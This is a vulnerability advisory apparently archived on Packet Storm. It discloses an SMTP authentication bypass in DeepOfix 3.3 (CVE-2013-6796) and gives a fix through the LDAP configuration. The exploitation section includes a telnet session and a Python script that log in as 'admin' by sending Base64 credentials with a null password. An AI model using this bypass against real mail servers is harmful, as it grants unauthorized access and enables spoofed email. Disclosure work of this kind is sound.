what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DeepOfix 3.3 SMTP Authentication Bypass

DeepOfix 3.3 SMTP Authentication Bypass
Posted Nov 18, 2013
Authored by Gerardo Vazquez, Eduardo Arriols | Site pragsis-security.com

DeepOfix versions 3.3 and below suffer from an SMTP server authentication bypass vulnerability due to an LDAP issue. Exploit included.

tags | exploit, bypass
SHA-256 | 24bd2a61ed26e639e6b823b3e2f7cc39031c2662744ed2bbda21195c3924d603

DeepOfix 3.3 SMTP Authentication Bypass

Change Mirror Download
======================================================================================
Vulnerability: Bypass authentication and gain unauthorized access to SMTP server
======================================================================================
Platform: DeepOfix
Version: <= 3.3 (All versions tested)
Vendor: Deep Root Linux - http://www.deeproot.in
Date: 2013/11/06
Discovered by: Gerardo Vazquez, Eduardo Arriols
[Pragsis-Security - http://pragsis-security.com/]
Severity: 7.5/10 (CVSS Base Score)
CVE: 2013-6796
======================================================================================

1. Background
**************************************************************************************
DeepOfix is a free ISO of DeepRootLinux to mount a mail server providing users the
ability to send emails via SMTP, check e-mail via IMAP, access the files via FTP or
SSH...


2. Problem Description
**************************************************************************************
The vulnerability allows an attacker to bypass the authentication in the SMTP server
to send emails. The problem is that the SMTP server performs authentication against
LDAP by default, and the service does not check that the password is null if this
Base64. This creates a connection "anonymous" but with a user account without entering
the password.

It is important to note that the same could be used with other services also
validate against LDAP.


3. Impact
**************************************************************************************
An Attacker could login in the SMTP server knowing only the username of one user in the
server and he could sends emails. One important thing is that the user "admin" always
exists in the server.


4. Expotation
**************************************************************************************
To authenticate against the SMTP server can make the login is done using Base64, so if
you enter the user "admin" and password null or '\0' in Base64 give us access server as
"admin" without checking the password.

The credentials in Base64:

User: "admin" ===> "YWRtaW4="
Password: null ==> "AA=="

Example of how we could authenticate to the system:

test@0-day ~ $ telnet deepofix.local 25
Trying deepofix.local...
Connected to deepofix.local.
Escape character is '^]'.
220 deepofix.local ESMTP
auth login # In ASCCI:
334 VXNlcm5hbWU6 # 334 Username:
YWRtaW4= # admin
334 UGFzc3dvcmQ6 # 334 Password:
AA== # \0
235 nice to meet you

Now we would be authenticated as "admin" so we could send emails from that account.


Simple exploit in Python [exploit.py]:
-----------------------------------------------------------------
| import smtplib |
| |
| # Select the sender and the receivers |
| sender = 'sender@mail' |
| receivers = ['receiver@mail.com'] |
| |
| # Write the message |
| message = """ |
| From: From Sender <sender@mail.com> |
| To: To Receiver <receiver@mail.com> |
| Subject: NSA is watching you! |
| |
| This is a really important message... xD |
| """ |
| |
| # Connect to the SMTP server and send the email |
| try: |
| # server = smtplib.SMTP('deepofix.local', 25) |
| |
| # Auth login --> admin/null in Base64 |
| server.docmd("auth login") |
| server.docmd("YWRtaW4=") |
| server.docmd("AA==") |
| |
| server.sendmail(sender, receivers, message) |
| print "Successfully sent email" |
| |
| except: |
| print "Error: unable to send email" |
-----------------------------------------------------------------


5. Solution
**************************************************************************************
To solve the problem we have only ban the anonymous LDAP bind.

It is done by editing /var/easypush/ldap/etc/openldap/slapd.conf and add
the line "disallow bind_anon". After you restart the ldap service with:
sv term slapd
slapd sv status
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close